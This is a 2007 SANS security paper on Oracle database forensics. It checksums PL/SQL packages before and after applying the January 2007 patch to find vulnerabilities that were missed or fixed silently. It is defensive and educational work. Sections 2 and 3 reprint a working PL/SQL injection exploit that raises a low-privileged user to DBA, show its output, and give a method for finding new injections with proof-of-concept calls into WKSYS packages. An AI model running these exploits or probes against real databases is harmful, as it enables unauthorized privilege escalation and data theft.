Interested in learning more about security?

SANS Institute InfoSec Reading Room

This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission.

Using Oracle Forensics to determine vulnerability to Zero Day exploits

This paper has shown the reader what PLSQL injection is and how it can be exploited to gain DBA whilst bypassing current IDS technology. We then explored how to find PLSQL injection vulnerabilities in order to identify potential new zerodays. Then by comparing DBstates before and after January 2007 CPU installation both silently fixed bugs and mistakenly omitted fixes were identified in the CPU installation process. A differentiation was made between potential vectors of SQL injection such as triggers and the actual un...

Copyright SANS Institute

Author Retains Full Rights

AD

DEEPARMOR®

GSOC Gold Certification

Author: Paul M. Wright, paul.wright@oracleforensics.com

Adviser: Johannes Ullrich

February 22, 2007

© SANS Institute 2007, Author retains full rights.

Using Oracle Forensics to determine vulnerability to Zero Day exploits

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

Contents

© SANS Institute 2007, Author retains full rights.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

1 Introduction

The aim of this paper is to explain the threat of PLSQL injection on Oracle databases and show how principles from the world of computer forensics can be transferred to Oracle in order to deduce vulnerability to past and future exploits with a high level of certainty. This paper will enable the reader to assess the effects of applying an Oracle security patch (CPU), and identify windows of past vulnerability that can be usefully correlated with archived audit logs in order to locate previous attacks.

2 Explain and exemplify PLSQL Injection

The most common bugs currently found in Oracle products are SQL injections especially in PLSQL procedures. SQL injection occurs due to lack of input validation thus enabling characters to be inserted into a program and ran as SQL instead of being ran as a string parameter as originally intended. In order to defend from SQL injection it is important to know how the vulnerability can be exploited.

On the next page is a good example which was first found by the author at this posting http://www.milw0rm.com/exploits/3177

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

```
--By Joxean Koret joxeankoret@yahoo.es

DECLARE
SEQUENCE_OWNER VARCHAR2(200);
SEQUENCE_NAME VARCHAR2(200);
v_user_id number;
v_commands VARCHAR2(32767);
NEW_VALUE NUMBER;
BEGIN
SELECT user_id INTO v_user_id
FROM user_users;
v_commands := 'insert into sys.sysauth$ ' ||
' values' ||
'(' || v_user_id || ',4,' ||
'999,null)';
SEQUENCE_OWNER := 'TEST';
SEQUENCE_NAME := ''',lockhandle=>:1);' || v_commands || ';commit;
end;--';
NEW_VALUE := 1;
SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE(
SEQUENCE_OWNER => SEQUENCE_OWNER,
SEQUENCE_NAME => SEQUENCE_NAME,
NEW_VALUE => NEW_VALUE);
END;
/
```

The `BUMP_SEQUENCE` exploit is tested on 10gR1/R2 prior to CPU Oct 2006. Only `CREATE SESSION` privilege is needed and the user will be elevated to DBA as shown by the following output taken from a Solaris 10gR1 server.

```
C:\oracle\product\10.2.0\db_9\RDBMS\ADMIN>sqlplus scott/tiger@oragol
SQL*Plus: Release 10.2.0.1.0 - Production on Fri Feb 16 16:51:14 2007
Copyright (c) 1982, 2005, Oracle.  All rights reserved.
Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - 64bit Production
With the Partitioning, OLAP and Data Mining options

SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT                          CONNECT                        NO  YES NO
SCOTT                          RESOURCE                       NO  YES NO
```


© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

```
SQL> DECLARE
  2  SEQUENCE_OWNER VARCHAR2(200);
  3  SEQUENCE_NAME VARCHAR2(200);
  4  v_user_id number;
  5  v_commands VARCHAR2(32767);
  6  NEW_VALUE NUMBER;
  7  BEGIN
  8  SELECT user_id INTO v_user_id
  9  FROM user_users;
 10
 11  v_commands := 'insert into sys.sysauth$ ' ||
 12  ' values' ||
 13  '(' || v_user_id || ',4,' ||
 14  '999,null)';
 15
 16  SEQUENCE_OWNER := 'TEST';
 17  SEQUENCE_NAME := ''',lockhandle=>:1);' || v_commands || ';commit;
 18  end;--';
 19  NEW_VALUE := 1;
 20  SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE(
 21  SEQUENCE_OWNER => SEQUENCE_OWNER,
 22  SEQUENCE_NAME => SEQUENCE_NAME,
 23  NEW_VALUE => NEW_VALUE
 24  );
 25  END;
 26  /
DECLARE
*
ERROR at line 1:
ORA-02289: sequence does not exist
ORA-06512: at "SYS.DBMS_CDC_IMPDP", line 13
ORA-06512: at line 20


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT                          CONNECT                        NO  YES NO
SCOTT                          DBA                            NO  YES NO
SCOTT                          RESOURCE                       NO  YES NO
```

What is happening in this exploit code? In short, a low privileged user is able to GRANT themselves DBA privileges. This can be done because the SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE package does not parse user inputted SQL. Not only that but because the procedure runs with DEFINER privileges all code ran in this package is running with the privileges of the account that owns it i.e. the schema it is in, which is SYS, (the most privileged account in the database). There are

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

two main design faults here. Firstly that a user can input their own SQL and secondly that Oracle defaults all it's PLSQL packages to DEFINER rights, unless specifically set to INVOKER rights by the developer using "`authid current_user`" in the code of the procedure. This is akin to all the files on an OS being SUID by default. A very common method of gaining full control of an Oracle database is to gain a low privileged account with a weak password and escalate privilege to DBA via a PLSQL injection vulnerability in a package. If that package can also be executed by the PUBLIC Role then any DB user can exploit it (i.e. it can be executed by anyone, like the DBMS_CDC_IMPDP package above).

The DBMS_CDC_IMPDP exploit example is particularly interesting as it underlines the importance of understanding the vulnerability in order to effectively defend against it. Many IDS signatures for PLSQL injection rely on identifying the "`GRANT DBA TO`" SQL string. The above example bypasses the need for "`GRANT DBA`" by modifying the underlying base table SYSAUTH$. Therefore this exploit payload will bypass most IDS signatures.

The relative security importance of PLSQL injections has increased now that it has been shown that the only privilege that is required for the initial low privileged account in order to escalate to DBA is CREATE SESSION. This is explained fully in David Litchfields new paper at http://www.databasesecurity.com/dbsec/cursor-injection.pdf . The implication of the paper is that DBA's should take even more care to check whether the packages and triggers in their databases are vulnerable to this type of attack. The following contents will assist the DBA in securing from PLSQL injection vulnerabilities.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

3 How to find and exploit new PLSQL injection vulnerabilities

PLSQL vulnerabilities are common both in Oracle's code and bespoke code written for a particular customer. It is important that Security Officers responsible for Oracle databases understand how to find these vulnerabilities so that they can be secured. Finding vulnerabilities before Oracle, or third party software producers publish them, allows the DBA/Security officer to protect against Zero-Day attacks.

In order to find a new SQL Injection during an Application Audit the Analyst would most likely start with the packages owned by a DBA user such as SYS, SYSTEM, CTXSYS or WKSYS on 10gR1.

```
SQL> select grantee from dba_role_privs where granted_role ='DBA';

GRANTEE
------------------------------
SYS
WKSYS
SYSTEM
CTXSYS
```

Taking WKSYS as an example the analyst could run this query below to identify the packages that could give privilege escalation (IF they were vulnerable to SQL Injection).

```
(((select table_name from dba_tab_privs where grantee='PUBLIC' and owner='WKSYS')
intersect
(select object_name from dba_objects where object_type='PACKAGE'and owner='WKSYS'))
minus
(SELECT name FROM DBA_SOURCE WHERE TEXT LIKE '%current_user%' AND owner='WKSYS'));
```


© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

```
SQL> (((select table_name from dba_tab_privs where grantee='PUBLIC' and owner='WKSYS')intersect
(select object_name from dba_objects where object_type='PACKAGE' and owner='WKSYS'))minus
(SELECT name FROM DBA_SOURCE WHERE TEXT LIKE '%current_user%' AND owner='WKSYS'));
TABLE_NAME
--------------------------------------------------------------------------------
OUS_ADM
WKDS_ADM
WK_ACL
WK_ADM
WK_CRW
WK_DDL
WK_DEF
WK_ERR
WK_JOB
WK_META
WK_PORTAL
TABLE_NAME
--------------------------------------------------------------------------------
WK_QRY
WK_QUERYAPI
WK_QUERY_ADM
WK_QUTIL
WK_SGP
WK_SNAPSHOT
WK_UTIL
18 rows selected.
```

Then describe each package within the WKSYS schema to see what parameters the package takes into each procedure and function.

```
SQL> desc wksys.wk_qry
FUNCTION ESTIMATEHITCOUNT RETURNS NUMBER
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 P_QUERY                        VARCHAR2                IN     DEFAULT
 P_DSIDS                        NUMBER_ARR              IN     DEFAULT
 P_LANG                         VARCHAR2                IN     DEFAULT
PROCEDURE GETRESULT
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 QUERY                          VARCHAR2                IN     DEFAULT
 FILTER                         VARCHAR2                IN     DEFAULT
 TERMS                          VARCHAR2                IN     DEFAULT
 START_POINTER                  NUMBER                  IN     DEFAULT
 REC_REQUESTED                  NUMBER                  IN     DEFAULT
…….
PROCEDURE SETOPTION
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 KEY                            VARCHAR2                IN
 VAL                            VARCHAR2                IN
PROCEDURE SETPROPERTY
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 P_PROPERTY_NAME                VARCHAR2                IN     DEFAULT
 P_PROPERTY_VALUE               VARCHAR2                IN     DEFAULT
PROCEDURE SETSESSIONLANG
 Argument Name                  Type                    In/Out Default?
------------------------------------------------------------------------
 NLS_LANGUAGE                   VARCHAR2                IN
```


© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

After a list of procedures and functions has been made then it is a case of inserting SQL into the parameters of the most easily completed ones. The easiest way to test if the inserted code is being ran as SQL is to insert a single quote into each of the VARCHAR parameters and see if an error message is returned that shows that the single quote was interpreted as SQL. The key point at this stage is to note that in order to inject a single quote into PLSQL you need to escape the single quote with another single quote. The Author has found many PL/SQL injections in the Oracle RDBMS, for example the following two injections are DEFINER, "EXECUTE granted to PUBLIC" and owned by WKSYS which has the DBA ROLE by default (present with October 2006 CPU on 10.1.0.4.0 and other versions).

Below are examples of how to create the procedure call and the error message if the procedure is vulnerable.

```
SQL> exec wksys.wk_qry.setsessionlang('''');
BEGIN wksys.wk_qry.setsessionlang('''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QRY", line 1107
ORA-06512: at line 1

SQL> exec wksys.wk_queryapi.setsessionlang('''');
BEGIN wksys.wk_queryapi.setsessionlang(''''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QUERYAPI", line 40
ORA-06512: at line 1

SQL> exec wksys.wk_launchq.add_launch_principal(1,'''');
BEGIN wksys.wk_launchq.add_launch_principal(1,''''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_LAUNCHQ", line 275
ORA-06512: at line 1
```

The vulnerability of the above packages is shown by the "ORA-01756: quoted string not properly terminated" error.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

Proving that the vulnerability can be exploited is more difficult as an attacker is not able to see the source code of the package by reading from DBA_SOURCE.

```
SQL> desc dba_source;
 Name                                      Null?    Type
 ----------------------------------------- -------- ----------------------------
 OWNER                                               VARCHAR2(30)
 NAME                                                VARCHAR2(30)
 TYPE                                                VARCHAR2(12)
 LINE                                                NUMBER
 TEXT                                                VARCHAR2(4000)


SQL> select text from dba_source where owner='WKSYS' and name='WK_QUERYAPI';
PACKAGE BODY wk_queryapi wrapped
a000000
1
abcd
abcd
abcd
abcd
abcd
TEXT
------------------------------------------------------------------------------
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
b
TEXT
------------------------------------------------------------------------------
42f3 154a
rCfxVeMak5ss7u/4L/uISxq1Twcwg8129iAFYJu8HKqV4bGnGtkWYeszph52qacRWDsUlxQ9tE/nMSu27nb …
```

The source code to the PLSQL Package has been wrapped to hide the internal workings. "Unwrappers" for PLSQL have been available for a number of years now but are not always required. One can infer what the SQL is likely to be, within the wrapped package, and then take an educated guess at potential exploitative code. For instance below, given the fact that the setsessionlang procedure alters a

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

NLS_LANG session variable we can infer that the SQL in the wrapped package is something like `ALTER SESSION SET NLS_LANG = '||inputhere||'.` Therefore the Analyst can attempt to inject other commands into the procedure on this basis.

```
SQL> exec wksys.wk_qry.setsessionlang('english');
PL/SQL procedure successfully completed.

SQL>  exec wksys.wk_qry.setsessionlang('english''');
BEGIN wksys.wk_qry.setsessionlang('english'''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QRY", line 1107
ORA-06512: at line 1
```

Additional ALTER SESSION SET commands can be injected into the end of the input to this procedure including the "EVENTS" commands explicitly withheld from normal users due to its security sensitivity. What follows is proof of concept code of the security issue.

```
SQL> show user
USER is "SCOTT"
SQL> alter session set events 'immediate trace name library_cache level 10';
ERROR:
ORA-01031: insufficient privileges

SQL> exec wksys.wk_qry.setsessionlang('AMERICAN'' NLS_TERRITORY=
''FRANCE'' NLS_CURRENCY= ''$'' NLS_ISO_CURRENCY=''AMERICA''
NLS_NUMERIC_CHARACTERS= ''.,'' NLS_CALENDAR= ''GREGORIAN''
NLS_DATE_FORMAT= ''DD-MON-RR'' NLS_DATE_LANGUAGE= ''AMERICAN'' NLS
_SORT= ''BINARY'' current_schema=SYS sql_trace=false
TRACEFILE_IDENTIFIER =''traceid'' events ''immediate trace name
library_cache level 10''--');
PL/SQL procedure successfully completed.
```

The key line here is:

```
* events ''immediate trace name library_cache level 10'' *
```

The `wksys.wk_qry.setsessionlang` procedure is running an `ALTER SESSION SET EVENT` statement that should only be possible if the user has the `ALTER`

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

SESSION SYSTEM privilege which SCOTT does not have. This is possible because we are injecting into a DBA owned procedure which is DEFINER rights.

Being able to set this type of event is part of a number of exploits which result in the dumping of clear text passwords, which is why it is restricted. Therefore this vulnerability represents a security issue. Oracle have already been informed and the issue should be fixed by the time you read this paper. URLs relevant to the potential abuse of the ALTER SESSION SYSTEM privilege are in the Appendix.

© SANS Institute 2007, Author retains full rights.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

4 Identifying the vulnerable objects using DBstatechecking

Which PLSQL packages are vulnerable? How to detect and identify them?

- Look for them using the process in previous section.
- Check external companies like Argeniss and RedDatabaseSecurity.
- Use a commercial database scanner like NGS SQuirreL for Oracle that already uses forensic concepts, such as checksumming to identify vulnerable PLSQL packages.
- Find internally fixed vulnerabilities using DBstate checking before and after application of the patch to find the packages that were changed by the patch.

Observing the effects of patch installation will enable:

- Identification of the silently fixed vulnerabilities found internally to Oracle.
- Checking of known vulnerabilities publicly fixed by the patch **are actually fixed**. The Oracle patching mechanism has been found to be unreliable in that packages that were supposed to be fixed by the patch often are not. This may be due to the DBA not running all of the scripts required to implement the patch or due to the patch being incorrectly implemented by Oracle. The fact that each individual server may vary in its configuration state also increases the probability of the patch failing in some respect.
- Additional vectors to the vulnerability may also be identified such as triggers.

Comparing DBstates will also identify the introduction of database malware such as rootkits.

Adoption of principles from computer forensics can be applied to this scenario. In order to identify the effects of the patch installation we want to automatically identify the state of DB objects using, checksum, timestamp, file size and other metadata in a way that is repeatable, verifiable and can be backed up as well as documented.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

The process of checking the changes made by installing a CPU are as follows:

1. Do object state check
2. Install the CPU
3. Do second object state check
4. Compare with pre/post states and correlate against the Oracle published CPU.

We will now take a profile of "*before*" and "*after*" January 2007 CPU installation on an Oracle Unbreakable Linux server using the 10.2.0.1.0 version of Oracle RDBMS.

Forensic DBStateChecker: See http://www.oracleforensics.com/dbstatechecker.sql

```
CREATE OR REPLACE PROCEDURE PACKAGESTATE(OWNERIN VARCHAR2) AS TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
USER$NAME VARCHAR2(30); --
OBJ$OWNER VARCHAR2(30);
NAMEIN VARCHAR2(30);
SOURCE$OBJID NUMBER;
OBJ$TYPE VARCHAR2(30);
COUNTOUT NUMBER;
CTIMEOUT TIMESTAMP;
STIMEOUT TIMESTAMP;
LASTDDLOUT TIMESTAMP;
HASH NUMBER;
BEGIN
OPEN CV FOR 'SELECT  sys.user$.NAME , sys.obj$.owner#, sys.obj$.NAME, sys.source$.obj#, sys.OBJ$.TYPE#,
Count(sys.source$.line), ctime, stime, mtime from (sys.source$@oragol2  join sys.obj$@oragol2
ON sys.source$.obj#=sys.obj$.obj#)
inner join sys.user$@oragol2 ON sys.obj$.owner# = sys.user$.user#
where sys.obj$.TYPE#=11
And  sys.user$.NAME = :x GROUP BY  sys.user$.NAME, sys.obj$.owner#, sys.obj$.NAME, sys.source$.obj#,
sys.OBJ$.TYPE#, ctime, stime, mtime' using OWNERIN;
LOOP
FETCH CV INTO USER$NAME, OBJ$OWNER, NAMEIN, SOURCE$OBJID, OBJ$TYPE, COUNTOUT, CTIMEOUT, STIMEOUT,
LASTDDLOUT;
DBMS_OUTPUT.ENABLE(200000);
SELECT SUM(dbms_utility.get_hash_value(source,1000000000,power(2,30))) INTO HASH from
sys.source$@oragol2 where sys.source$.obj#=SOURCE$OBJID;
DBMS_OUTPUT.PUT_LINE(OWNERIN||','||USER$NAME||','||OBJ$OWNER||','||NAMEIN||','||SOURCE$OBJID||','||OBJ$
TYPE||','||COUNTOUT||','||CTIMEOUT||','||STIMEOUT||','||LASTDDLOUT||','||HASH);
insert into PACKAGESTATESORAGOL2
values(OWNERIN,USER$NAME,OBJ$OWNER,NAMEIN,SOURCE$OBJID,OBJ$TYPE,COUNTOUT,CTIMEOUT,STIMEOUT,LASTDDLOUT,H
ASH);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/
show errors
```


© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

The above DBStateChecker query has the following characteristics:

1. Creates a checksum for the state of the each PLSQL package in the given schema.
2. Uses low level base tables instead of Views which may have been tampered.
3. Uses fully qualified Schema paths i.e. schema.table.column.
4. Uses all available timestamps to corroborate change in state.
5. Uses file size to additionally corroborate change in state.
6. Uses dblinks to run the query from a remotely secured instance of Oracle. This Depository stores all the DBstate information and the queries in a secured DB specialized for that purpose. Due to the isolation of the depository DB it's forensic integrity as the scanning DB should be near perfect.

The above characteristics make the DBStateChecker results of forensic value as it can identify the known vulnerable or non-vulnerable state of a package to a high degree of certainty. This high degree of certainty is required when taking actions in a legal context with regards to SOX, PCI and SB1386 which will be relevant to situations regarding unauthorized access. Additionally this type of evidence is likely to be used in future legal proceedings where a large client of a vendor has suffered financial loss from a mistake in the vendor's patching process. The possibility of this occurring is increased by large clients ability to migrate to open source products instead of being beholden to the large vendor. If it can be proven forensically in a court of law that the Vendor new about a vulnerability but had incorrectly patched it then liability for a Data Breach would logically pass to the Vendor. Now back to using the DBStateChecker.

To run the procedure on the SYS schema do this:

```
EXEC DBStateChecker ('SYS');
```

Then to select the states data from the table.

```
select * from PACKAGESTATESORAGOL2
```


© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

Then apply the patch by downloading CPU 5689937 from metalink via this URL http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2007.html

Install the CPU on a shutdown database using the following commands.

```
[oracle@localhost 5689937] $ORACLE_HOME/OPatch/opatch apply -no_inventory
cd $ORACLE_HOME/cpu/CPUJan2007
sqlplus /nolog
CONNECT /AS SYSDBA
STARTUP
spool catcpuoutput.txt
@catcpu.sql
Spool off
QUIT
```

If catcpu.sql reports errors follow these commands.

```
cd $ORACLE_HOME/rdbms/admin
sqlplus /nolog
CONNECT /AS SYSDBA
STARTUP
@utlrp.sql
```

This fixed one of the errors and then reports that there are no other errors. Then restart the DB.

```
Shutdown immediate
Startup
```

Then amend the output table in the DBStateChecker to a new table (PACKAGESTATESORAJAN) and change the dblinks to query the other database. Now repeat the process on the server in its new patched state.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

Now there are two tables one with the states before the CPU and one after the CPU installation. Let's compare the states using the MINUS set operator in Oracle RDBMS to return the new states that are different from the old states.

```
(select * from PACKAGESTATESORAGOL2)
    MINUS
(select * from PACKAGESTATESORAJAN)
```

These packages below have been changed by the January 2007 CPU when applied to an unpatched 10.2.0.1.0 Oracle DB. These are only the packages that showed up as being changed by the CPU for the SYS user.

DBMS_CDC_IMPDP

DBMS_EXPORT_EXTENSION

DBMS_METADATA

DBMS_ODCI

DBMS_REGISTRY_SYS

DBMS_XRWMV

HTP

OWA_OPT_LOCK

OWA_UTIL

http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2007.html#AppendixA shows that SYS.DBMS_CDC_SUBSCRIBE should have been changed by the CPU but the checksum of the package is the same therefore it has been missed by the patch. It

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

is common for packages that are stated as being fixed by the CPU to be unchanged by the CPU application.

It would also be useful to know the new and old states of the packages that have actually been changed by the CPU so we can compare the metadata about both. This can be done using this query below.

```
PACKAGESTATESORAGOL2 = GOLD or no CPU
PACKAGESTATESORAJAN = with January 2007 CPU

((select * from PACKAGESTATESORAGOL2)
MINUS
(select * from PACKAGESTATESORAJAN))
UNION
((select * from PACKAGESTATESORAJAN)
MINUS
(select * from PACKAGESTATESORAGOL2))
```

The full details displayed in SQLTOOLs overleaf are generated by the forensics DBstate checker. http://www.sqltools.net/

© SANS Institute 2007, Author retains full rights.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

SYS@ORAGOL2:10.1.1.166 AS SYSDBA - SQLTools - [dblinkedcomparisonchecks.sql *]

File Edit View Search Text Grid Session Script Tools Window Help

Query | Statistics | Plan | Output | History | :1 Binds

	OWNERIN	USER$NAME	OBJ#	NAMEIN	SOURCE	OBJ#	COU	CTIMEOUT	STIMEOUT	LASTDDLOUT	HASH
1	SYS	SYS	0	CDC_ALTER_CTABLE_BEFORE	39481	12	10	30-JUN-05 07.10.18 PM	30-JUN-05 07.27.26 PM	30-JUN-05 07.27.26 PM	16524159887
2	SYS	SYS	0	CDC_ALTER_CTABLE_BEFORE	39481	12	10	30-JUN-05 07.10.18 PM	03-FEB-07 01.21.54 PM	03-FEB-07 01.21.55 PM	16524159887
3	SYS	SYS	0	CDC_CREATE_CTABLE_AFTER	39482	12	10	30-JUN-05 07.10.18 PM	30-JUN-05 07.27.26 PM	30-JUN-05 07.27.26 PM	16117458743
4	SYS	SYS	0	CDC_CREATE_CTABLE_AFTER	39482	12	10	30-JUN-05 07.10.18 PM	03-FEB-07 01.21.55 PM	03-FEB-07 01.21.55 PM	16117458743
5	SYS	SYS	0	CDC_CREATE_CTABLE_BEFORE	39483	12	10	30-JUN-05 07.10.18 PM	30-JUN-05 07.27.26 PM	30-JUN-05 07.27.26 PM	16230202805
6	SYS	SYS	0	CDC_CREATE_CTABLE_BEFORE	39483	12	10	30-JUN-05 07.10.18 PM	03-FEB-07 01.21.55 PM	03-FEB-07 01.21.55 PM	16230202805
7	SYS	SYS	0	CDC_DROP_CTABLE_BEFORE	39484	12	10	30-JUN-05 07.10.18 PM	30-JUN-05 07.27.26 PM	30-JUN-05 07.27.26 PM	17065109720
8	SYS	SYS	0	CDC_DROP_CTABLE_BEFORE	39484	12	10	30-JUN-05 07.10.18 PM	03-FEB-07 01.21.55 PM	03-FEB-07 01.21.55 PM	17065109720
9	SYS	SYS	0	DBMS_CDC_IMPDP	8609	11	5	30-JUN-05 07.10.18 PM	30-JUN-05 07.20.31 PM	30-JUN-05 07.20.31 PM	8239494751
10	SYS	SYS	0	DBMS_CDC_IMPDP	8609	11	5	30-JUN-05 07.10.18 PM	03-FEB-07 01.21.39 PM	03-FEB-07 01.21.39 PM	8270763315
11	SYS	SYS	0	DBMS_EXPORT_EXTENSION	4378	11	2	30-JUN-05 07.10.18 PM	30-JUN-05 07.12.52 PM	30-JUN-05 07.12.52 PM	3016618525
12	SYS	SYS	0	DBMS_EXPORT_EXTENSION	4378	11	2	30-JUN-05 07.10.18 PM	03-FEB-07 01.21.26 PM	03-FEB-07 01.21.26 PM	3059732206
13	SYS	SYS	0	DBMS_METADATA	7105	11	20	30-JUN-05 07.10.18 PM	30-JUN-05 07.18.12 PM	30-JUN-05 07.18.12 PM	30453842259
14	SYS	SYS	0	DBMS_METADATA	7105	11	20	30-JUN-05 07.10.18 PM	03-FEB-07 01.24.24 PM	03-FEB-07 01.24.24 PM	31754376228
15	SYS	SYS	0	DBMS_ODCI	5497	11	1	30-JUN-05 07.10.18 PM	30-JUN-05 07.14.47 PM	30-JUN-05 07.14.47 PM	1377444215
16	SYS	SYS	0	DBMS_ODCI	5497	11	1	30-JUN-05 07.10.18 PM	03-FEB-07 01.21.38 PM	03-FEB-07 01.21.38 PM	1647889519
17	SYS	SYS	0	DBMS_REGISTRY_SYS	7220	11	4	30-JUN-05 07.10.18 PM	30-JUN-05 07.18.40 PM	30-JUN-05 07.18.40 PM	6119125303
18	SYS	SYS	0	DBMS_REGISTRY_SYS	7220	11	4	30-JUN-05 07.10.18 PM	03-FEB-07 01.21.15 PM	03-FEB-07 01.21.15 PM	7109705932
19	SYS	SYS	0	DBMS_SUMADV	7448	11	1	30-JUN-05 07.10.18 PM	28-OCT-06 08.06.27 AM	28-OCT-06 08.06.27 AM	1670059792
20	SYS	SYS	0	DBMS_SUMADV	7448	11	1	30-JUN-05 07.10.18 PM	19-FEB-07 06.15.28 PM	19-FEB-07 06.15.28 PM	1670059792
21	SYS	SYS	0	DBMS_XRWMV	7404	11	1	30-JUN-05 07.10.18 PM	30-JUN-05 07.18.49 PM	30-JUN-05 07.18.49 PM	1202060399
22	SYS	SYS	0	DBMS_XRWMV	7404	11	1	30-JUN-05 07.10.18 PM	03-FEB-07 01.21.28 PM	03-FEB-07 01.21.28 PM	1145586097
23	SYS	SYS	0	HTP	6014	11	1731	30-JUN-05 07.10.18 PM	30-JUN-05 07.15.20 PM	30-JUN-05 07.15.20 PM	2724085336288
24	SYS	SYS	0	HTP	6014	11	1756	30-JUN-05 07.10.18 PM	03-FEB-07 01.22.38 PM	03-FEB-07 01.22.38 PM	2776825623090
25	SYS	SYS	0	OWA_OPT_LOCK	6021	11	273	30-JUN-05 07.10.18 PM	30-JUN-05 07.15.22 PM	30-JUN-05 07.15.22 PM	428880975429
26	SYS	SYS	0	OWA_OPT_LOCK	6021	11	286	30-JUN-05 07.10.18 PM	03-FEB-07 01.22.42 PM	03-FEB-07 01.22.42 PM	447083097910
27	SYS	SYS	0	OWA_UTIL	6016	11	2422	30-JUN-05 07.10.18 PM	30-JUN-05 07.15.21 PM	30-JUN-05 07.15.21 PM	3726617804705
28	SYS	SYS	0	OWA_UTIL	6016	11	2437	30-JUN-05 07.10.18 PM	03-FEB-07 01.22.40 PM	03-FEB-07 01.22.40 PM	3750550097359

dblinkedcomparisonchecks.sql *

28 first records fetched in 0.02 sec. | Record 1 of 28 | Dos | Sel: Stream | Ln: 43, Col: 1

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

It should be noted that dbms_obfuscation_toolkit.md5 could be also be used for the task of creating the checksums as per the example below. However it is not available on 8i.

```
create or replace function md5checksum(lvtype in varchar2,lvname in
varchar2,lvschema in varchar2)
return varchar2
is
   string varchar2(32767);
   checksum varchar2(16);
begin
   string:=dbms_metadata.get_ddl(lvtype, lvname, lvschema);--THIS GETS THE DDL IE
CREATE TABLE
   dbms_obfuscation_toolkit.md5(input_string => string,  checksum_string =>
checksum);
   return checksum;
end;
/

set serveroutput on;
set heading off;
set echo off;
Set pages 999;
set long 90000;

col objectname for a20
col md5sum for a40
select object_name name,
utl_raw.cast_to_raw(md5checksum(object_type,object_name,owner)) md5sum
from dba_objects
where owner='SYS'
and object_type ='VIEW'
and object_name = 'DBA_USERS';

SQL> col objectname for a20
SQL> col md5sum for a40
SQL> select object_name name,
  2  utl_raw.cast_to_raw(md5checksum(object_type,object_name,owner)) md5sum
  3  from dba_objects
  4  where owner='SYS'
  5  and object_type ='VIEW'
  6  and object_name = 'DBA_USERS';
DBA_USERS BFFD01780BC3504B6091A89D5BEBC6FB
```

One interesting result that can be seen in the display of SQLTOOLS is that

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

DBMS_ODCI has been changed by the patch but has not been specifically named in an Oracle CPU alert. Oracle appears to have a strategy of silently fixing some vulnerabilities in the CPU. This might be dangerous as an attacker will inspect the patch to find these unknown vulnerabilities. How is the DBA to write IDS signatures, audit rules and check the patch has worked on these PLSQL packages if they are not informed that they had security flaws in them? It is the firm recommendation of this paper for Oracle security officers to fully inspect the effects of applying a CPU in the way that I have just shown so that the defenders can be at least as well informed as potential attackers.

It is also well worthwhile regularly checking to make sure that the checksums of packages in the database are still the non-vulnerable patched ones, mainly because there is no better malware for an attacker than a bona-fide Oracle package which, due to bad design, will run any inputted SQL as DBA. The other point of interest here is the time span between the created date on the package and the new DDL time for the fixed version applied by the patch. There is a potential 2 year window of vulnerability on the DBMS_ODCI package meaning that anyone using the DB could have exploited these vulnerabilities IF they knew about the vulnerability and how to exploit it. Some organizations do not like taking these risks with the data in their Oracle databases so it is important for them to be able to ascertain the retrospective risk to zero day attack which we will discuss shortly.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

5 Locating vectors of vulnerabilities by DBstate change comparison

For another example of DB State Checking we will use a Windows 10gR2 server and increase the CPU up to January 2007 CPU, but this time we will include the triggers in the comparison as well. This process will use the same technique as before to record the DBstate before the CPU, then apply the January 2007 CPU which will change the vulnerable packages in the database and then record the new states and compare the differences. Remember to shutdown the database and all Oracle processes before issuing the command to update to the new CPU (using Cygwin on Windows http://cygwin.com/).

```
C:\oracle\product\10.2.0\db_9\patches\p5695784_10201_WINNT\5695784>c:\oracle\produc
t\10.2.0\db_9\OPatch\opatch apply | tee cpuout.txt
```

